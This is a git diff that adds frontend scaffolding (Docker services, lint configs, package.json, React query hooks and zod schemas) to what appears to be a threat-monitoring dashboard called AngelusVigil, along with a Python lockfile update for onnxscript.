|
||||||
|
"if": 0.2
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
assert isinstance(result, ValidationResult)
|
||||||
|
|
@ -136,6 +136,7 @@ ml = [
|
||||||
{ name = "mlflow" },
|
{ name = "mlflow" },
|
||||||
{ name = "numpy" },
|
{ name = "numpy" },
|
||||||
{ name = "onnxruntime" },
|
{ name = "onnxruntime" },
|
||||||
|
{ name = "onnxscript" },
|
||||||
{ name = "pandas" },
|
{ name = "pandas" },
|
||||||
{ name = "scikit-learn" },
|
{ name = "scikit-learn" },
|
||||||
{ name = "skl2onnx" },
|
{ name = "skl2onnx" },
|
||||||
|
|
@ -157,6 +158,7 @@ requires-dist = [
|
||||||
{ name = "mypy", marker = "extra == 'dev'", specifier = ">=1.19.1" },
|
{ name = "mypy", marker = "extra == 'dev'", specifier = ">=1.19.1" },
|
||||||
{ name = "numpy", marker = "extra == 'ml'", specifier = ">=2.4.2" },
|
{ name = "numpy", marker = "extra == 'ml'", specifier = ">=2.4.2" },
|
||||||
{ name = "onnxruntime", marker = "extra == 'ml'", specifier = ">=1.24.1" },
|
{ name = "onnxruntime", marker = "extra == 'ml'", specifier = ">=1.24.1" },
|
||||||
|
{ name = "onnxscript", marker = "extra == 'ml'", specifier = ">=0.6.2" },
|
||||||
{ name = "orjson", specifier = ">=3.11.7" },
|
{ name = "orjson", specifier = ">=3.11.7" },
|
||||||
{ name = "pandas", marker = "extra == 'ml'", specifier = ">=2.2.0,<3" },
|
{ name = "pandas", marker = "extra == 'ml'", specifier = ">=2.2.0,<3" },
|
||||||
{ name = "pydantic", specifier = ">=2.12.5" },
|
{ name = "pydantic", specifier = ">=2.12.5" },
|
||||||
|
|
@ -1589,6 +1591,22 @@ wheels = [
|
||||||
{ url = "https://files.pythonhosted.org/packages/01/a0/4fb0e6d36eaf079af366b2c1f68bafe92df6db963e2295da84388af64abc/onnx-1.20.1-cp312-abi3-win_arm64.whl", hash = "sha256:21d747348b1c8207406fa2f3e12b82f53e0d5bb3958bcd0288bd27d3cb6ebb00", size = 16344155, upload-time = "2026-01-10T01:39:45.536Z" },
|
{ url = "https://files.pythonhosted.org/packages/01/a0/4fb0e6d36eaf079af366b2c1f68bafe92df6db963e2295da84388af64abc/onnx-1.20.1-cp312-abi3-win_arm64.whl", hash = "sha256:21d747348b1c8207406fa2f3e12b82f53e0d5bb3958bcd0288bd27d3cb6ebb00", size = 16344155, upload-time = "2026-01-10T01:39:45.536Z" },
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "onnx-ir"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "ml-dtypes" },
|
||||||
|
{ name = "numpy" },
|
||||||
|
{ name = "onnx" },
|
||||||
|
{ name = "sympy" },
|
||||||
|
{ name = "typing-extensions" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/b2/a5/acc43c8fa6edbc584d127fb6bbd13ae9ebfc01b9675c74e0da2de15fa4a6/onnx_ir-0.2.0.tar.gz", hash = "sha256:8bad3906691987290789b26d05e0dbff467029a0b1e411e12e4cae02e43503e4", size = 141693, upload-time = "2026-02-24T02:31:10.998Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/4a/df/a99736bcca6b16e36c687ce4996abcf4ce73c514fddd9e730cfcb6a334f2/onnx_ir-0.2.0-py3-none-any.whl", hash = "sha256:eb14d1399c2442bd1ff702719e70074e9cedfa3af5729416a32752c9e0f82591", size = 164100, upload-time = "2026-02-24T02:31:09.454Z" },
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "onnxruntime"
|
name = "onnxruntime"
|
||||||
version = "1.24.1"
|
version = "1.24.1"
|
||||||
|
|
@ -1609,6 +1627,23 @@ wheels = [
|
||||||
{ url = "https://files.pythonhosted.org/packages/ab/a2/cfcf009eb38d90cc628c087b6506b3dfe1263387f3cbbf8d272af4fef957/onnxruntime-1.24.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34488aa760fb5c2e6d06a7ca9241124eb914a6a06f70936a14c669d1b3df9598", size = 17099815, upload-time = "2026-02-05T17:31:43.092Z" },
|
{ url = "https://files.pythonhosted.org/packages/ab/a2/cfcf009eb38d90cc628c087b6506b3dfe1263387f3cbbf8d272af4fef957/onnxruntime-1.24.1-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34488aa760fb5c2e6d06a7ca9241124eb914a6a06f70936a14c669d1b3df9598", size = 17099815, upload-time = "2026-02-05T17:31:43.092Z" },
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "onnxscript"
|
||||||
|
version = "0.6.2"
|
||||||
|
source = { registry = "https://pypi.org/simple" }
|
||||||
|
dependencies = [
|
||||||
|
{ name = "ml-dtypes" },
|
||||||
|
{ name = "numpy" },
|
||||||
|
{ name = "onnx" },
|
||||||
|
{ name = "onnx-ir" },
|
||||||
|
{ name = "packaging" },
|
||||||
|
{ name = "typing-extensions" },
|
||||||
|
]
|
||||||
|
sdist = { url = "https://files.pythonhosted.org/packages/e7/2b/538fdeb0e25bed5d7e0f954af5710543e2629499fb74381afc3333f8a8ae/onnxscript-0.6.2.tar.gz", hash = "sha256:abb2e6f464db40c9b8c7fbb3e64cca04cf3f4495e67c4eda5eac17b784191ce3", size = 590865, upload-time = "2026-02-10T22:53:39.638Z" }
|
||||||
|
wheels = [
|
||||||
|
{ url = "https://files.pythonhosted.org/packages/66/56/e6b179397497ab93266b6eb00743403a6a699a29063a423c4a14595d3db9/onnxscript-0.6.2-py3-none-any.whl", hash = "sha256:20e3c3fd1da19b3655549d5455a2df719db47374fe430e01e865ae69127c37b9", size = 689064, upload-time = "2026-02-10T22:53:41.663Z" },
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "opentelemetry-api"
|
name = "opentelemetry-api"
|
||||||
version = "1.39.1"
|
version = "1.39.1"
|
||||||
|
|
|
||||||
|
|
@ -74,6 +74,27 @@ services:
|
||||||
start_period: 10s
|
start_period: 10s
|
||||||
restart: always
|
restart: always
|
||||||
|
|
||||||
|
frontend:
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: infra/docker/vite.prod
|
||||||
|
container_name: vigil-frontend
|
||||||
|
ports:
|
||||||
|
- "${FRONTEND_HOST_PORT:-80}:80"
|
||||||
|
depends_on:
|
||||||
|
backend:
|
||||||
|
condition: service_healthy
|
||||||
|
networks:
|
||||||
|
- vigil_network
|
||||||
|
- certgames_net
|
||||||
|
healthcheck:
|
||||||
|
test: ["CMD", "wget", "-qO-", "http://localhost/health"]
|
||||||
|
interval: 30s
|
||||||
|
timeout: 5s
|
||||||
|
retries: 3
|
||||||
|
start_period: 10s
|
||||||
|
restart: always
|
||||||
|
|
||||||
geoip-updater:
|
geoip-updater:
|
||||||
image: maxmindinc/geoipupdate:latest
|
image: maxmindinc/geoipupdate:latest
|
||||||
container_name: vigil-geoip
|
container_name: vigil-geoip
|
||||||
|
|
|
||||||
|
|
@ -71,6 +71,24 @@ services:
|
||||||
retries: 3
|
retries: 3
|
||||||
start_period: 15s
|
start_period: 15s
|
||||||
|
|
||||||
|
frontend:
|
||||||
|
build:
|
||||||
|
context: .
|
||||||
|
dockerfile: infra/docker/vite.dev
|
||||||
|
container_name: vigil-frontend-dev
|
||||||
|
environment:
|
||||||
|
VITE_API_TARGET: http://backend:8000
|
||||||
|
ports:
|
||||||
|
- "${FRONTEND_HOST_PORT:-46969}:5173"
|
||||||
|
volumes:
|
||||||
|
- ./frontend:/app
|
||||||
|
- frontend_node_modules_dev:/app/node_modules
|
||||||
|
depends_on:
|
||||||
|
backend:
|
||||||
|
condition: service_healthy
|
||||||
|
networks:
|
||||||
|
- vigil_dev
|
||||||
|
|
||||||
networks:
|
networks:
|
||||||
vigil_dev:
|
vigil_dev:
|
||||||
driver: bridge
|
driver: bridge
|
||||||
|
|
@ -79,3 +97,4 @@ volumes:
|
||||||
postgres_dev:
|
postgres_dev:
|
||||||
redis_dev:
|
redis_dev:
|
||||||
nginx_logs_dev:
|
nginx_logs_dev:
|
||||||
|
frontend_node_modules_dev:
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,15 @@
|
||||||
|
node_modules
|
||||||
|
build
|
||||||
|
dist
|
||||||
|
.git
|
||||||
|
.gitignore
|
||||||
|
*.md
|
||||||
|
.env*
|
||||||
|
.vscode
|
||||||
|
.idea
|
||||||
|
*.log
|
||||||
|
npm-debug.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
.DS_Store
|
||||||
|
coverage
|
||||||
|
.nyc_output
|
||||||
|
|
@ -0,0 +1,25 @@
|
||||||
|
# Logs
|
||||||
|
logs
|
||||||
|
*.log
|
||||||
|
npm-debug.log*
|
||||||
|
yarn-debug.log*
|
||||||
|
yarn-error.log*
|
||||||
|
pnpm-debug.log*
|
||||||
|
lerna-debug.log*
|
||||||
|
|
||||||
|
node_modules
|
||||||
|
dist
|
||||||
|
dist-ssr
|
||||||
|
*.local
|
||||||
|
.vite
|
||||||
|
|
||||||
|
# Editor directories and files
|
||||||
|
.vscode/*
|
||||||
|
!.vscode/extensions.json
|
||||||
|
.idea
|
||||||
|
.DS_Store
|
||||||
|
*.suo
|
||||||
|
*.ntvs*
|
||||||
|
*.njsproj
|
||||||
|
*.sln
|
||||||
|
*.sw?
|
||||||
|
|
@ -0,0 +1,22 @@
|
||||||
|
# ©AngelaMos | 2025
|
||||||
|
# .stylelintignore
|
||||||
|
|
||||||
|
# Dependencies
|
||||||
|
node_modules/
|
||||||
|
|
||||||
|
# Production builds
|
||||||
|
dist/
|
||||||
|
build/
|
||||||
|
out/
|
||||||
|
|
||||||
|
# JS/TS files
|
||||||
|
**/*.js
|
||||||
|
**/*.jsx
|
||||||
|
**/*.ts
|
||||||
|
**/*.tsx
|
||||||
|
|
||||||
|
# Generated files
|
||||||
|
*.min.css
|
||||||
|
|
||||||
|
# Error system styles - ignore from linting
|
||||||
|
src/core/app/_toastStyles.scss
|
||||||
|
|
@ -0,0 +1,94 @@
|
||||||
|
{
|
||||||
|
"$schema": "https://biomejs.dev/schemas/2.4.4/schema.json",
|
||||||
|
"vcs": {
|
||||||
|
"enabled": true,
|
||||||
|
"clientKind": "git",
|
||||||
|
"useIgnoreFile": true
|
||||||
|
},
|
||||||
|
"files": {
|
||||||
|
"includes": ["**/*.ts", "**/*.tsx", "**/*.js", "**/*.jsx", "**/*.json"]
|
||||||
|
},
|
||||||
|
"formatter": {
|
||||||
|
"enabled": true,
|
||||||
|
"indentStyle": "space",
|
||||||
|
"indentWidth": 2,
|
||||||
|
"lineWidth": 82,
|
||||||
|
"lineEnding": "lf"
|
||||||
|
},
|
||||||
|
"javascript": {
|
||||||
|
"formatter": {
|
||||||
|
"quoteStyle": "single",
|
||||||
|
"jsxQuoteStyle": "double",
|
||||||
|
"semicolons": "asNeeded",
|
||||||
|
"trailingCommas": "es5",
|
||||||
|
"arrowParentheses": "always"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"linter": {
|
||||||
|
"enabled": true,
|
||||||
|
"rules": {
|
||||||
|
"recommended": true,
|
||||||
|
"complexity": {
|
||||||
|
"noExcessiveCognitiveComplexity": {
|
||||||
|
"level": "error",
|
||||||
|
"options": { "maxAllowedComplexity": 25 }
|
||||||
|
},
|
||||||
|
"noForEach": "off",
|
||||||
|
"useLiteralKeys": "off"
|
||||||
|
},
|
||||||
|
"correctness": {
|
||||||
|
"noUnusedVariables": "error",
|
||||||
|
"noUnusedImports": "error",
|
||||||
|
"useExhaustiveDependencies": "warn",
|
||||||
|
"useHookAtTopLevel": "error",
|
||||||
|
"noUndeclaredVariables": "error"
|
||||||
|
},
|
||||||
|
"style": {
|
||||||
|
"useImportType": "error",
|
||||||
|
"useConst": "error",
|
||||||
|
"useTemplate": "error",
|
||||||
|
"useSelfClosingElements": "error",
|
||||||
|
"useFragmentSyntax": "error",
|
||||||
|
"noNonNullAssertion": "error",
|
||||||
|
"useConsistentArrayType": {
|
||||||
|
"level": "error",
|
||||||
|
"options": { "syntax": "shorthand" }
|
||||||
|
},
|
||||||
|
"useNamingConvention": "off"
|
||||||
|
},
|
||||||
|
"suspicious": {
|
||||||
|
"noExplicitAny": "error",
|
||||||
|
"noDebugger": "error",
|
||||||
|
"noConsole": "warn",
|
||||||
|
"noArrayIndexKey": "warn",
|
||||||
|
"noAssignInExpressions": "error",
|
||||||
|
"noDoubleEquals": "error",
|
||||||
|
"noRedeclare": "error",
|
||||||
|
"noVar": "error"
|
||||||
|
},
|
||||||
|
"security": {
|
||||||
|
"noDangerouslySetInnerHtml": "error"
|
||||||
|
},
|
||||||
|
"a11y": {
|
||||||
|
"useAltText": "error",
|
||||||
|
"useAnchorContent": "error",
|
||||||
|
"useKeyWithClickEvents": "error",
|
||||||
|
"noStaticElementInteractions": "error",
|
||||||
|
"useButtonType": "error",
|
||||||
|
"useValidAnchor": "error"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"overrides": [
|
||||||
|
{
|
||||||
|
"includes": ["src/main.tsx"],
|
||||||
|
"linter": {
|
||||||
|
"rules": {
|
||||||
|
"style": {
|
||||||
|
"noNonNullAssertion": "off"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,44 @@
|
||||||
|
<!doctype html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<!--
|
||||||
|
AngelusVigil
|
||||||
|
Author(s): © AngelaMos, CarterPerez-dev
|
||||||
|
-->
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<link
|
||||||
|
rel="icon"
|
||||||
|
type="image/x-icon"
|
||||||
|
href="/assets/favicon.ico"
|
||||||
|
/>
|
||||||
|
<link
|
||||||
|
rel="apple-touch-icon"
|
||||||
|
type="image/png"
|
||||||
|
href="/assets/apple-touch-icon.png"
|
||||||
|
/>
|
||||||
|
<link
|
||||||
|
rel="manifest"
|
||||||
|
href="/assets/site.webmanifest"
|
||||||
|
/>
|
||||||
|
<meta
|
||||||
|
name="viewport"
|
||||||
|
content="width=device-width, initial-scale=1.0"
|
||||||
|
/>
|
||||||
|
<title>AngelusVigil</title>
|
||||||
|
<meta
|
||||||
|
name="description"
|
||||||
|
content="*Cracked*"
|
||||||
|
/>
|
||||||
|
<meta
|
||||||
|
name="author"
|
||||||
|
content=" ©AngelaMos | 2026 | CarterPerez-dev"
|
||||||
|
/>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div id="root"></div>
|
||||||
|
<script
|
||||||
|
type="module"
|
||||||
|
src="/src/main.tsx"
|
||||||
|
></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
@ -0,0 +1,50 @@
|
||||||
|
{
|
||||||
|
"name": "frontend-template",
|
||||||
|
"private": true,
|
||||||
|
"version": "1.0.0",
|
||||||
|
"type": "module",
|
||||||
|
"scripts": {
|
||||||
|
"dev": "vite",
|
||||||
|
"build": "tsc -b && vite build",
|
||||||
|
"preview": "vite preview",
|
||||||
|
"lint": "biome check .",
|
||||||
|
"lint:fix": "biome check --write .",
|
||||||
|
"format": "biome format --write .",
|
||||||
|
"typecheck": "tsc -b",
|
||||||
|
"lint:scss": "stylelint '**/*.scss'",
|
||||||
|
"lint:scss:fix": "stylelint '**/*.scss' --fix"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@tanstack/react-query": "^5.90.20",
|
||||||
|
"axios": "^1.13.4",
|
||||||
|
"react": "^19.2.4",
|
||||||
|
"react-dom": "^19.2.4",
|
||||||
|
"react-error-boundary": "^6.1.0",
|
||||||
|
"react-icon": "^1.0.0",
|
||||||
|
"react-icons": "^5.5.0",
|
||||||
|
"react-router-dom": "^7.13.0",
|
||||||
|
"sonner": "^2.0.7",
|
||||||
|
"zod": "^4.3.6",
|
||||||
|
"zustand": "^5.0.10"
|
||||||
|
},
|
||||||
|
"devDependencies": {
|
||||||
|
"@biomejs/biome": "^2.3.13",
|
||||||
|
"@tanstack/react-query-devtools": "^5.91.2",
|
||||||
|
"@types/node": "^25.1.0",
|
||||||
|
"@types/react": "^19.2.10",
|
||||||
|
"@types/react-dom": "^19.2.3",
|
||||||
|
"@vitejs/plugin-react": "^5.1.2",
|
||||||
|
"sass": "^1.97.3",
|
||||||
|
"stylelint": "^17.0.0",
|
||||||
|
"stylelint-config-prettier-scss": "^1.0.0",
|
||||||
|
"stylelint-config-standard-scss": "^17.0.0",
|
||||||
|
"typescript": "~5.9.3",
|
||||||
|
"vite": "npm:rolldown-vite@7.3.1",
|
||||||
|
"vite-tsconfig-paths": "^6.0.5"
|
||||||
|
},
|
||||||
|
"pnpm": {
|
||||||
|
"overrides": {
|
||||||
|
"vite": "npm:rolldown-vite@7.2.5"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
After Width: | Height: | Size: 9.2 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 98 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 8.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 279 B |
Binary file not shown.
|
After Width: | Height: | Size: 565 B |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
|
|
@ -0,0 +1 @@
|
||||||
|
{"name":"","short_name":"","icons":[{"src":"/android-chrome-192x192.png","sizes":"192x192","type":"image/png"},{"src":"/android-chrome-512x512.png","sizes":"512x512","type":"image/png"}],"theme_color":"#ffffff","background_color":"#ffffff","display":"standalone"}
|
||||||
|
|
@ -0,0 +1,35 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// App.tsx
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { QueryClientProvider } from '@tanstack/react-query'
|
||||||
|
import { ReactQueryDevtools } from '@tanstack/react-query-devtools'
|
||||||
|
import { RouterProvider } from 'react-router-dom'
|
||||||
|
import { Toaster } from 'sonner'
|
||||||
|
|
||||||
|
import { queryClient } from '@/core/api'
|
||||||
|
import { router } from '@/core/app/routers'
|
||||||
|
|
||||||
|
export default function App(): React.ReactElement {
|
||||||
|
return (
|
||||||
|
<QueryClientProvider client={queryClient}>
|
||||||
|
<div className="app">
|
||||||
|
<RouterProvider router={router} />
|
||||||
|
<Toaster
|
||||||
|
position="top-right"
|
||||||
|
duration={2000}
|
||||||
|
theme="dark"
|
||||||
|
toastOptions={{
|
||||||
|
style: {
|
||||||
|
background: 'hsl(0, 0%, 12.2%)',
|
||||||
|
border: '1px solid hsl(0, 0%, 18%)',
|
||||||
|
color: 'hsl(0, 0%, 98%)',
|
||||||
|
},
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
<ReactQueryDevtools initialIsOpen={false} />
|
||||||
|
</QueryClientProvider>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,9 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// index.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
export * from './useAlerts'
|
||||||
|
export * from './useModels'
|
||||||
|
export * from './useStats'
|
||||||
|
export * from './useThreats'
|
||||||
|
|
@ -0,0 +1,103 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// useAlerts.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { useEffect, useRef } from 'react'
|
||||||
|
import { create } from 'zustand'
|
||||||
|
import { type WebSocketAlert, WebSocketAlertSchema } from '@/api/types'
|
||||||
|
import { ALERTS, WS_ENDPOINTS } from '@/config'
|
||||||
|
|
||||||
|
interface AlertState {
|
||||||
|
alerts: WebSocketAlert[]
|
||||||
|
isConnected: boolean
|
||||||
|
connectionError: string | null
|
||||||
|
addAlert: (alert: WebSocketAlert) => void
|
||||||
|
setConnected: (connected: boolean) => void
|
||||||
|
setError: (error: string | null) => void
|
||||||
|
clear: () => void
|
||||||
|
}
|
||||||
|
|
||||||
|
const useAlertStore = create<AlertState>()((set) => ({
|
||||||
|
alerts: [],
|
||||||
|
isConnected: false,
|
||||||
|
connectionError: null,
|
||||||
|
|
||||||
|
addAlert: (alert) =>
|
||||||
|
set((state) => ({
|
||||||
|
alerts: [alert, ...state.alerts].slice(0, ALERTS.MAX_ITEMS),
|
||||||
|
})),
|
||||||
|
|
||||||
|
setConnected: (connected) =>
|
||||||
|
set({ isConnected: connected, connectionError: null }),
|
||||||
|
|
||||||
|
setError: (error) => set({ isConnected: false, connectionError: error }),
|
||||||
|
|
||||||
|
clear: () => set({ alerts: [], isConnected: false, connectionError: null }),
|
||||||
|
}))
|
||||||
|
|
||||||
|
function getWsUrl(): string {
|
||||||
|
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
|
||||||
|
return `${protocol}//${window.location.host}${WS_ENDPOINTS.ALERTS}`
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useAlerts() {
|
||||||
|
const wsRef = useRef<WebSocket | null>(null)
|
||||||
|
const retryCountRef = useRef(0)
|
||||||
|
const retryTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null)
|
||||||
|
|
||||||
|
const { alerts, isConnected, connectionError } = useAlertStore()
|
||||||
|
const { addAlert, setConnected, setError, clear } = useAlertStore()
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
function connect() {
|
||||||
|
const ws = new WebSocket(getWsUrl())
|
||||||
|
wsRef.current = ws
|
||||||
|
|
||||||
|
ws.onopen = () => {
|
||||||
|
retryCountRef.current = 0
|
||||||
|
setConnected(true)
|
||||||
|
}
|
||||||
|
|
||||||
|
ws.onmessage = (event) => {
|
||||||
|
const parsed = WebSocketAlertSchema.safeParse(JSON.parse(event.data))
|
||||||
|
if (parsed.success) {
|
||||||
|
addAlert(parsed.data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ws.onclose = () => {
|
||||||
|
setConnected(false)
|
||||||
|
scheduleReconnect()
|
||||||
|
}
|
||||||
|
|
||||||
|
ws.onerror = () => {
|
||||||
|
setError('WebSocket connection failed')
|
||||||
|
ws.close()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function scheduleReconnect() {
|
||||||
|
const delay = Math.min(
|
||||||
|
ALERTS.RECONNECT_BASE_MS * 2 ** retryCountRef.current,
|
||||||
|
ALERTS.RECONNECT_MAX_MS
|
||||||
|
)
|
||||||
|
retryCountRef.current += 1
|
||||||
|
retryTimerRef.current = setTimeout(connect, delay)
|
||||||
|
}
|
||||||
|
|
||||||
|
connect()
|
||||||
|
|
||||||
|
return () => {
|
||||||
|
if (retryTimerRef.current) {
|
||||||
|
clearTimeout(retryTimerRef.current)
|
||||||
|
}
|
||||||
|
if (wsRef.current) {
|
||||||
|
wsRef.current.close()
|
||||||
|
}
|
||||||
|
clear()
|
||||||
|
}
|
||||||
|
}, [addAlert, setConnected, setError, clear])
|
||||||
|
|
||||||
|
return { alerts, isConnected, connectionError }
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,43 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// useModels.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'
|
||||||
|
import { toast } from 'sonner'
|
||||||
|
import type { ModelStatus, RetrainResponse } from '@/api/types'
|
||||||
|
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
|
||||||
|
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
|
||||||
|
|
||||||
|
export function useModelStatus() {
|
||||||
|
return useQuery<ModelStatus>({
|
||||||
|
queryKey: QUERY_KEYS.MODELS.STATUS(),
|
||||||
|
queryFn: async () => {
|
||||||
|
const { data } = await apiClient.get<ModelStatus>(
|
||||||
|
API_ENDPOINTS.MODELS.STATUS
|
||||||
|
)
|
||||||
|
return data
|
||||||
|
},
|
||||||
|
...QUERY_STRATEGIES.standard,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useRetrain() {
|
||||||
|
const queryClient = useQueryClient()
|
||||||
|
|
||||||
|
return useMutation<RetrainResponse>({
|
||||||
|
mutationFn: async () => {
|
||||||
|
const { data } = await apiClient.post<RetrainResponse>(
|
||||||
|
API_ENDPOINTS.MODELS.RETRAIN
|
||||||
|
)
|
||||||
|
return data
|
||||||
|
},
|
||||||
|
onSuccess: () => {
|
||||||
|
toast.success('Retraining started')
|
||||||
|
queryClient.invalidateQueries({ queryKey: QUERY_KEYS.MODELS.ALL })
|
||||||
|
},
|
||||||
|
onError: () => {
|
||||||
|
toast.error('Failed to start retraining')
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,22 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// useStats.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { useQuery } from '@tanstack/react-query'
|
||||||
|
import type { StatsResponse } from '@/api/types'
|
||||||
|
import { API_ENDPOINTS, QUERY_KEYS } from '@/config'
|
||||||
|
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
|
||||||
|
|
||||||
|
export function useStats(range = '24h') {
|
||||||
|
return useQuery<StatsResponse>({
|
||||||
|
queryKey: QUERY_KEYS.STATS.BY_RANGE(range),
|
||||||
|
queryFn: async () => {
|
||||||
|
const { data } = await apiClient.get<StatsResponse>(API_ENDPOINTS.STATS, {
|
||||||
|
params: { range },
|
||||||
|
})
|
||||||
|
return data
|
||||||
|
},
|
||||||
|
...QUERY_STRATEGIES.frequent,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,52 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// useThreats.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { useQuery } from '@tanstack/react-query'
|
||||||
|
import type { ThreatEvent, ThreatList } from '@/api/types'
|
||||||
|
import { API_ENDPOINTS, PAGINATION, QUERY_KEYS } from '@/config'
|
||||||
|
import { apiClient, QUERY_STRATEGIES } from '@/core/api'
|
||||||
|
|
||||||
|
interface ThreatParams {
|
||||||
|
limit?: number
|
||||||
|
offset?: number
|
||||||
|
severity?: 'HIGH' | 'MEDIUM' | 'LOW'
|
||||||
|
source_ip?: string
|
||||||
|
since?: string
|
||||||
|
until?: string
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useThreats(params: ThreatParams = {}) {
|
||||||
|
const queryParams = {
|
||||||
|
limit: params.limit ?? PAGINATION.DEFAULT_LIMIT,
|
||||||
|
offset: params.offset ?? 0,
|
||||||
|
...params,
|
||||||
|
}
|
||||||
|
|
||||||
|
return useQuery<ThreatList>({
|
||||||
|
queryKey: QUERY_KEYS.THREATS.LIST(queryParams),
|
||||||
|
queryFn: async () => {
|
||||||
|
const { data } = await apiClient.get<ThreatList>(
|
||||||
|
API_ENDPOINTS.THREATS.LIST,
|
||||||
|
{ params: queryParams }
|
||||||
|
)
|
||||||
|
return data
|
||||||
|
},
|
||||||
|
...QUERY_STRATEGIES.frequent,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
export function useThreat(id: string | null) {
|
||||||
|
return useQuery<ThreatEvent>({
|
||||||
|
queryKey: QUERY_KEYS.THREATS.BY_ID(id ?? ''),
|
||||||
|
queryFn: async () => {
|
||||||
|
const { data } = await apiClient.get<ThreatEvent>(
|
||||||
|
API_ENDPOINTS.THREATS.BY_ID(id as string)
|
||||||
|
)
|
||||||
|
return data
|
||||||
|
},
|
||||||
|
enabled: id !== null,
|
||||||
|
...QUERY_STRATEGIES.standard,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
@ -0,0 +1,7 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// index.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
export * from './hooks'
|
||||||
|
export * from './types'
|
||||||
|
|
@ -0,0 +1,9 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// index.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
export * from './models.types'
|
||||||
|
export * from './stats.types'
|
||||||
|
export * from './threats.types'
|
||||||
|
export * from './websocket.types'
|
||||||
|
|
@ -0,0 +1,29 @@
|
||||||
|
// ===================
|
||||||
|
// © AngelaMos | 2026
|
||||||
|
// models.types.ts
|
||||||
|
// ===================
|
||||||
|
|
||||||
|
import { z } from 'zod'
|
||||||
|
|
||||||
|
export const ActiveModelSchema = z.object({
|
||||||
|
model_type: z.string(),
|
||||||
|
version: z.string(),
|
||||||
|
training_samples: z.number().int(),
|
||||||
|
metrics: z.record(z.string(), z.number()),
|
||||||
|
threshold: z.number().nullable(),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const ModelStatusSchema = z.object({
|
||||||
|
models_loaded: z.boolean(),
|
||||||
|
detection_mode: z.string(),
|
||||||
|
active_models: z.array(ActiveModelSchema),
|
||||||
|
})
|
||||||
|
|
||||||
|
export const RetrainResponseSchema = z.object({
|
||||||
|
status: z.string(),
|
||||||
|
job_id: z.string(),
|
||||||
|
})
|
||||||
|
|
||||||
|
export type ActiveModel = z.infer<typeof ActiveModelSchema>
|
||||||
|
export type ModelStatus = z.infer<typeof ModelStatusSchema>
|
||||||
|
